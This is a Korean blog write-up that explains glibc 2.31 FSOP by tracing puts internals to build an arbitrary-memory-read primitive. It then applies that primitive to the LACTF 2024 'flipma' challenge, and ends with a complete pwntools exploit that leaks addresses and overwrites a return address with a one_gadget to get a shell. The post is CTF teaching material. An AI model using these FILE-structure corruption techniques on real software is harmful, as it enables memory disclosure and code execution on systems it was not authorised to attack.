LACTF에서 FSOP 문제를 만났는데, 전에 FSOP에 대해 공부한 적이 있었지만 얕게 공부를 했었고, 따라서 이 문제를 풀려면 추가로 FSOP 개념에 대한 공부가 필요했었다. 하지만 대회 시간이 얼마 남지 않아 이 문제는 드랍했다. 대회가 종료된 후, Writeup을 보면서 FSOP를 복습하는 과정을 가졌고 CTF에 FSOP 문제도 단골이기 때문에 글로 정리를 해두려고 한다.
문제의 Glibc 버전이 2.31이므로 Glibc 2.31 버전 기준으로 함. 근데 버전 딱히 상관없는 듯 버전 올라가도 코드가 비슷하기 때문에 개념만 알고 있으면 됨.
Concept
활용이 가능한 경우
- _IO_FILE 구조체를 조작할 수 있는 경우
IO_FILE 구조체
glibc 2.31의 소스코드는 이 사이트를 통해 확인할 수 있다.
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
입출력 함수들은 기본적으로 _IO_FILE 구조체를 사용한다. _IO_FILE 구조체는 위와 같다.
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
_flags 멤버 변수는 파일의 성질을 나타내는 필드이다. 위는 _flags 변수를 구성하는 각 비트들의 집합이다.
우리가 눈여겨 보아야할 것은 “C++ streambuf protocol” 주석이 적힌 밑의 포인터들이다. 이 포인터들은 입출력 함수의 내부 구조에서 결국 인자로 사용된다.
기본적으로 stdout은 버퍼링 모드가 unbuffered, line-buffered, 또는 fully-buffered가 될 수 있다. 프로그램의 출력은 버퍼링 모드마다 다르다.
- Unbuffered: 프로그램은 가능한 모든 문자를 출력한다.
- Line-buffered: 프로그램은 개행을 만나면 출력한다.
- Fully-buffered: 프로그램은 버퍼가 가득 차면 출력한다.
이 버퍼링들은 stdin에서도 비슷한 역할을 한다. stdin에서는 얼마나 문자를 버퍼에 저장할 수 있는지 버퍼링이 영향을 준다.
우리가 많이 접하는 Pwnable 문제들은 대부분 아래와 같이 main 함수가 시작되고 바로 setbuf등과 같은 함수를 통해 stdin, stdout또는 stdout을 0으로 초기화 한다. 즉 Unbuffered 모드가 된다.
int main() {
setbuf(stdin, 0);
setbuf(stdout, 0);
Unbuffered 모드일 때는, _IO_buf_end를 제외하고 c++ streambuf protocol 포인터들이 다 똑같은 값으로 있다.
gef➤ p _IO_2_1_stdout_
$1 = {
file = {
_flags = 0xfbad2087,
_IO_read_ptr = 0x7f1246307723 <_IO_2_1_stdout_+131> "",
_IO_read_end = 0x7f1246307723 <_IO_2_1_stdout_+131> "",
_IO_read_base = 0x7f1246307723 <_IO_2_1_stdout_+131> "",
_IO_write_base = 0x7f1246307723 <_IO_2_1_stdout_+131> "",
_IO_write_ptr = 0x7f1246307723 <_IO_2_1_stdout_+131> "",
_IO_write_end = 0x7f1246307723 <_IO_2_1_stdout_+131> "",
_IO_buf_base = 0x7f1246307723 <_IO_2_1_stdout_+131> "",
_IO_buf_end = 0x7f1246307724 <_IO_2_1_stdout_+132> "",
// [ ... ]
},
vtable = 0x7f12463034a0 <_IO_file_jumps>
}
Puts 함수 분석
C로 작성된 바이너리에는 버퍼를 출력해주는 함수 printf, puts등이 있다. 이따가 FSOP 개념을 활용할 문제는 puts 함수를 통해 Information Leak를 일으키기 때문에, puts 함수를 기준으로 설명하도록 하겠다.
// libio/ioputs.c
#include "libioP.h"
#include <string.h>
#include <limits.h>
int
_IO_puts (const char *str)
{
int result =EOF;
size_t len =strlen (str);
_IO_acquire_lock (stdout);
if ((_IO_vtable_offset (stdout) != 0
||_IO_fwide (stdout, -1) == -1)
&&_IO_sputn (stdout,str, len) == len // ## _IO_sputn 함수를 호출함.
&&_IO_putc_unlocked ('\\n',stdout) !=EOF)
result =MIN (INT_MAX, len + 1);
_IO_release_lock (stdout);
return result;
}
weak_alias (_IO_puts,puts)
libc_hidden_def (_IO_puts)
소스코드를 분석할건데, 내가 작성한 주석은 // ##으로 시작한다. 그리고 [n]을 통해서 [n]이 무슨 역할을 하는지 설명할 것이므로 참고해주길 바란다.
위는 puts의 소스 코드이다. 여기서 볼 것은 내부에서 _IO_sputn 함수를 stdout 구조체와 str, len를 인자로 호출한다. _IO_sputn 함수의 소스코드를 확인하려고 따라 들어가보겠다.
들어가면 아래와 같이 JUMP2(__xsputn, FP, DATA, N) 함수 호출을 통해 xsputn의 함수로 점프를 뛰는 것 같은데, 정작 소스코드는 참조만으로는 볼 수 없는 것 같다.
// libio/libioP.h:176
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
따라서 GDB를 통해 확인을 하면 _IO_new_file_xsputn 함수가 호출되는 것을 Trace를 통해 확인할 수 있다. 우리는 이 함수 소스코드를 확인해보면 된다.

// libo/fileops.c
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (const char *) data;
size_t to_do = n;
int must_flush = 0;
size_t count = 0;
if (n <= 0) // 글자 수가 0보다 작거나 같으면 함수 종료됨.
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
// ## Line-buffered 모드인지 체크하는데, 우리는 Unbufferd 모드이기 때문에 스킵하면 됨.
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) // [1]
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
// ## 앞서 Unbuffered 모드에서는 buf_end를 제외하고 모든 값이 같다고 함. 따라서 스킵.
else if (f->_IO_write_end > f->_IO_write_ptr) // [2]
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0) // [3]
{
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF) // [4]
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
// ## 중요하지 않음
// [ ... ]
}
return n - to_do;
}
[1]에서 stdout의 구조체의 flags 값을 통해 현재 버퍼링 모드가 Line-buffered 모드이고, CURRENTLY_PUTTING의 flag값을 확인한다. 근데 우리는 이미 Unbuffered인 상태인 것을 알고 있으므로 이 조건문을 스킵해도 된다.
[2]에서 _IO_write_end가 _IO_write_prt보다 큰지 비교하고 있는데 앞서 말했듯이 두 값은 같으므로 이 조건문을 스킵해도 된다.
[3]에서 to_do변수는 n(글자 수 길이)를 통해 선언되었고, 현재 우리가 활용할 문제 또한 puts함수를 쓸 때 빈 문자열을 보내진 않으므로 이 조건문은 통과한다.
[4]에서 _IO_OVERFLOW함수를 호출한다. 이 함수 또한 우리가 소스코드를 보는 사이트에서 참조만으로는 소스코드를 찾을 수 없으므로 GDB을 통해 무슨 함수를 호출하는지 확인하였고, _IO_new_file_overflow 함수를 분석하면 된다.

// libio/fileops.c
int
_IO_new_file_overflow (FILE *f, int ch)
{
// ## [ 1 ]
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
// 이 조건문을 통과하지 않으므로 안중요함.
}
// ## [ 2 ]
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
// 이 조건문을 통과하지 않으므로 안중요함.
}
if (ch == EOF) // ## [ 3 ]
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
// ## [ ... ]
}
[1]에서 플래그 값을 체크하는데, _IO_NO_WRITES 플래그 값은 기본적으로 가지지 않는다. 그러므로 우리는 패스해도 된다.
[2]에서 _IO_CURRENTLY_PUTTING 플래그를 가지지 않았는지 또는 _IO_write_base가 NULL값인지 확인을 하는데, _IO_CURRENTLY_PUTTING 플래그는 우리가 지금 puts 함수 안에 있기 때문에 이미 설정이 되어있다. 또한 앞서 보았듯이, _IO_write_base는 NULL 값을 가지지 않기 때문에 조건문을 패스한다.
[3]에서 ch와 EOF가 같은지 확인하는데, 이는 당연히 같을 수 밖에 없는게 _IO_new_file_overflow함수의 인자 ch값을 EOF로 이전에 if (_IO_OVERFLOW (f, EOF) == EOF) 와 같이 호출하였기 때문이다.
따라서 이 조건문은 통과 되고, _IO_do_write함수를 stdout, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base 을 인자로 호출 한다. 이 함수 또한 앞서 말한 것처럼 참조만으로는 함수의 소스코드를 찾을 수 없을 줄 알았는데, 소스코드가 찾아진다. (걍 내가 못찾은거였나…?)
_IO_do_write함수는 결국 _IO_new_do_write함수와 같다. 앞서 했던 것과 같이 GDB를 통해서도 확인할 수 있다.

// libio/fileops.c
int
_IO_new_do_write (FILE *fp, const char *data, size_t to_do)
{
return (to_do == 0 // [1]
|| (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
[1]에서 to_do 값이 0인지 체크하는데, to_do의 값은 f->_IO_write_ptr - f->_IO_write_base 이였다. 기본적으로 Unbuffered 버퍼링 모드일때는 두 값이 같기 때문에, new_do_write 함수를 호출하지도 못하고 조건문이 걸린다 (or 조건문에서는 앞 조건이 true면 뒤 조건은 무시한다).
하지만 우리는 stdout 파일 구조체를 조작할 수 있기 때문에, _IO_write_ptr의 값을 _IO_write_base보다 크게 만들어주면 new_do_write가 호출 될 것이다. 이 함수의 소스코드를 한 번 분석해보자.
// libio/fileops.c
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
// 기본적으로 _IO_IS_APPENDING 플래그는 설정되어 있지 않음.
if (fp->_flags & _IO_IS_APPENDING) // [1]
// ## 긴 주석이 있었는데, 가독성을 위해 지움.
fp->_offset = _IO_pos_BAD;
// ## _IO_read_end와 _IO_write_base의 값이 같아야 하므로, 둘의 값을 같게 하면 됨.
else if (fp->_IO_read_end != fp->_IO_write_base) // [2]
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); // [3]
// ## _IO_SYSWRITE 함수를 호출한 이후의 코드는 볼 필요가 없음.
// ## [ ... ]
return count;
}
[1]에서 기본적으로 _IO_IS_APPENDING 플래그는 설정되어 있지 않기 때문에 스킵해도 됨.
[2]에서 fp->_IO_read_end != fp->_IO_write_base 조건문을 통해 _IO_read_end와 _IO_write_base가 같은지 비교하는데, 같도록 하기 위해서 stdout 파일 구조체 조작을 통해 _IO_read_end와 _IO_write_base을 같도록 만들어 [2] else if문을 통과하도록 한다.
[3]에서 _IO_SYSWRITE 함수를 호출한다. 이 함수는 결국 앞서 했던 과정대로 GDB를 통해 소스코드를 볼 함수를 찾으면 아래와 같이 _IO_new_file_write 함수와 같다.

// libio/fileops.c
ssize_t
_IO_new_file_write (FILE *f, const void *data, ssize_t n)
{
ssize_t to_do = n;
while (to_do > 0)
{
ssize_t count = (__builtin_expect (f->_flags2
& _IO_FLAGS2_NOTCANCEL, 0)
? __write_nocancel (f->_fileno, data, to_do)
: __write (f->_fileno, data, to_do));
// [ ... ]
}
// [ ... ]
return n;
}
_flags2는 기본적으로 0이기 때문에, 결국 __write함수가 호출이 될 것이고, 이 함수는 fd는 1, data는 stdout->_IO_write_base, 그리고 n은 f->_IO_write_ptr - f->_IO_write_base 를 인자로 write syscall을 때릴 것이다. 그리고 결국 화면에 값이 출력될 것이다.
요약하면 결국 write(1, stdout->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) 를 호출하는 것과 같다고 할 수 있을 것 같다.
핵심:
// must be _IO_write_base == _IO_read_end
write(1, stdout->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base)
임의 파일 읽기(Arbitrary Address Read)
앞에서 puts 함수의 분석을 통해, puts 함수는 결국 stdout 파일구조체를 가지고 write(1, stdout->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base)와 같이 콜을 때린다는 것을 확인하였다.
이를 통해, 우리는 아래와 같은 결론을 내릴 수 있다.
FSOP AAR
1. 파일 구조체를 조작 가능한 상태여야 한다.
2. 원하는 값을 읽기 위해 파일 구조체를 아래와 같이 조작할 수 있다.
_flags = default or 0xfbad0800
_IO_read_ptr = 0
_IO_read_end = _IO_write_base와 똑같은 값
_IO_read_base = 0
_IO_write_base = 읽고 싶은 값
_IO_write_ptr = 읽고 싶은 값 + 읽고 싶은 길이
_IO_write_end = 0
_IO_buf_base = 0
_IO_buf_end = 0
_IO_save_base = 0x0,
// 아래는 필요한 일 거희 없을텐데 필요할 때 조작 (e.g. fd 조작할 때)
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f465d026980 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7f465d0287e0 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7f465d026880 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\\000' <repeats 19 times>
3. 파일 구조체를 조작한 후, 출력 함수를 호출하면 내가 읽고 싶은 값을 읽고 싶은 길이로 출력해주어 Memory leak이 가능하다.
Make use of concept with flipma
모든 공부가 그러하듯, 한 개념을 배웠으면 그 개념을 어디에 활용을 해야 이해가 잘 된다. 따라서 앞서 학습한 FSOP AAR 개념을 2024 LACTF flipma 문제에 대해 적용해보겠다. 문제 파일은 여기에 있다.
바이너리 분석
문제는 소스코드 없이 바이너리와 Dockerfile로 주어진다. Dockerfile을 보면, Ubuntu 20.04.6 LTS 버전을 이용하고, glibc 버전은 2.31이다.
❯ checksec ./flipma
[*] '/root/pwn/flipma'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
문제 바이너리에 걸려있는 보호기법은 위와 같이 checksec 명령어를 통해 확인할 수 있으며, 모든 보호기법이 걸려있다.

ida를 통해 main함수를 디컴파일 해보면, flips 전역 변수가 0보다 클 때 flip() 를 호출하는 것을 확인할 수 있다.

기본적으로 flips전역 변수는 4로 설정되어 있다. 다음으로 flip() 를 보도록 하겠다.


flip() 의 구조는 이러하다.
- write()는 a: 와 b: 를 각각 출력한다.
- readint()를 통해 a와 b를 각각 입력 받고, v1과 v2 변수로 저장된다.
- b가 만약에 7보다 크거나 0보다 작으면, puts 함수가 호출되며 바로 main()으로 리턴이 된다.
- 위 조건문에 안걸렸다면, stdin 파일 구조체 _flags멤버 변수의 포인터에 우리가 입력한 a의 값을 더한 뒤, 그 더한 결과의 포인터 값과 우리가 입력한 b의 값을 1을 기준으로 left shift을 한 값을 xor 연산을 진행한다.
익스플로잇 설계
우리가 이 함수에서 찾을 수 있는 취약점은 다음과 같다.
a의 값 범위를 정하지 않았고 부호 있는 정수이기 때문에 음수를 쓸 수 있고 offset 차이를 통해 libc 안에 있는 원하는 주소의 값을 xor 연산을 통해 바꿀 수 있다.
이러한 한정된 함수 호출을 하는 문제들을 익스플로잇 하기 위해서는 그 함수를 다시 호출할 수 있도록 하는 작업이 필요하다. 따라서 flips 변수를 조작해주어야하는데, PIE가 걸려 있고 libc와 offset 차이도 고정된게 아니기 때문에 pie 주소의 leak이 필요하다. 그래서 우리는 FSOP를 통해 pie leak을 하고, flips전역 변수를 조작하여 flip()를 원하는대로 호출할 수 있도록 한다. 그 후는 간단하다 exit()내부에 있는 rtld_global을 one_gadget으로 덮던지, stack을 leak해서 리턴 주소를 one_gadget으로 덮던지 모든 임의의 메모리를 우리는 이제 읽고 쓸 수 있으므로 시스템 쉘을 얻는 방법은 다양하다.
문제가 생겼다. rtld_global을 one_gadget으로 덮어서 쉘을 획득하는 것은 로컬에서는 잘 되나, 리모트 환경에서는 로더 부분에 쓰기 권한이 없는지 rtld_global을 덮으려고 하면 EOF가 뜬다. 원인은 잘 모르겠으나 Dockerfile을 보면 이상한 redpwn이라는 걸 쓰는데, 내 추측상으로는 그거 때문이 아닐까 싶다. 따라서 우리는 원래 인텐 풀이인 스택에 있는 리턴 주소를 one_gadget으로 덮는 방법을 택해야 할 것 같다.
익스플로잇 과정
1. 먼저 b를 if 조건문에 걸리도록 값을 작성하여 puts를 호출한다. 왜냐하면 puts 함수를 먼저 호출하여 stdout파일 구조체의 _flags멤버 변수가 _IO_CURRENTLY_PUTTING 를 가지도록 해야하기 때문이다.
2. 앞서 학습한 FSOP AAR 핵심은 결국 이거였다.
// must be _IO_write_base == _IO_read_end
write(1, stdout->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base)
우리는 flip를 할 기회가 4번밖에 주어지지 않았기 때문에, 원하는 문자열 길이까지는 설정하지 못할 것 같다. 따라서 _IO_write_base를 _IO_write_ptr보다 작게 설정하고, _IO_read_end를 _IO_write_base와 똑같게 설정해준다.
3. stdout파일 구조체를 조작해주었으면, 이제 puts함수를 호출하기 위해 b를 if 조건문에 걸리도록 값을 작성하여 puts를 호출한다.
4. leaked memory를 통해서 pie base 주소를 구하고(GDB 디버깅을 통해) flips전역 변수의 주소를 구한다.
5. 구한 flips전역 변수의 주소 값을 마지막 남은 flip으로 조작하여 또 flip을 할 수 있도록 만든다.
6. 무한 flip을 이용하여 스택 주소를 leak하고 스택 내부에 있는 리턴 주소값을 one_gadget으로 덮는다. (6번 과정은 다양한 방법이 있다. 필자는 exit 함수를 이용하려고 했지만 리모트 환경에서 안되길래 그냥 인텐 방법을 택했다.
7. flips전역 변수를 조작해 while문이 종료하도록 한다.
8. 그러면 정상적으로 while문이 끝나고 우리가 one_gaget으로 덮어쓴 리턴 주소로 이동하여 결국 시스템 쉘을 획득할 수 있다.
익스플로잇 코드
from pwn import *
# p = process('./flipma', level="debug")
p = remote("chall.lac.tf",31165,level="debug")
e=ELF('./flipma',checksec=False)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
# write with bit flip
def write(offset, old, new):
for i in range(8):
for j in range(8):
if (old >> (i*8+j)) & 1 != (new >> (i*8+j)) & 1:
p.sendlineafter(b"a: ", str(offset+i).encode(),timeout=5)
p.sendlineafter(b"b: ", str(j).encode())
# stdin and stdout offset
stdout_offset = 0xd20
# frist puts because we have to get _IO_CURRENTLY_PUTTING
p.sendlineafter(b"a: ", b"1234")
p.sendlineafter(b"b: ", b"1234")
# overwrite _IO_read_end and _IO_write_base
p.sendlineafter(b"a: ", str(stdout_offset+0x10+1).encode())
p.sendlineafter(b"b: ", b"5")
p.sendlineafter(b"a: ", str(stdout_offset+0x20+1).encode())
p.sendlineafter(b"b: ", b"5")
# memory leak
p.sendlineafter(b"a: ", b"1234")
p.sendlineafter(b"b: ", b"1234")
leak = p.recvuntil(b"we're")
pie_base = u64(leak[0x825:0x825+8]) - 0x4020
libc_base = u64(leak[0x5d:0x5d+8]) - 0x1b3f9f
log.info(f"{hex(pie_base)=}")
log.info(f"{hex(libc_base)=}")
# infinity flip
flip_offset = (libc_base + libc.symbols["_IO_2_1_stdin_"]) - (pie_base + 0x4010)
p.sendlineafter(b"a: ", str(-flip_offset+2).encode())
p.sendlineafter(b"b: ", b"0")
# stack address leak with fsop
write(stdout_offset+0x10, libc_base+0x1ed723, libc_base + libc.sym.environ-8) # _IO_read_end
write(stdout_offset+0x20, libc_base+0x1ed723, libc_base + libc.sym.environ-8) # _IO_write_base
write(stdout_offset+0x28, libc_base+0x1ed723, libc_base + libc.sym.environ+8) # _IO_write_ptr
# pause()
p.sendlineafter(b"a: ", b"1234")
p.sendlineafter(b"b: ", b"1234")
leak = p.recvuntil(b"we're")
stack = u64(leak[8:8+8]) - 0x100
log.info(f"{hex(stack)=}")
# overwrite stack return address with one_gadget
stack_offset = stack-(libc_base + libc.symbols["_IO_2_1_stdin_"])
write(stack_offset, libc_base+0x24083, libc_base+0xe3b01)
# make flip negative number for stop flip
p.sendlineafter(b"a: ", str(-flip_offset+3).encode())
p.sendlineafter(b"b: ", b"7")
p.interactive()

Reference
'Hacking' 카테고리의 다른 글
| Shellcode segmentation fault 오류 해결 (Kernal Version >= 5.4) (0) | 2023.09.18 |
|---|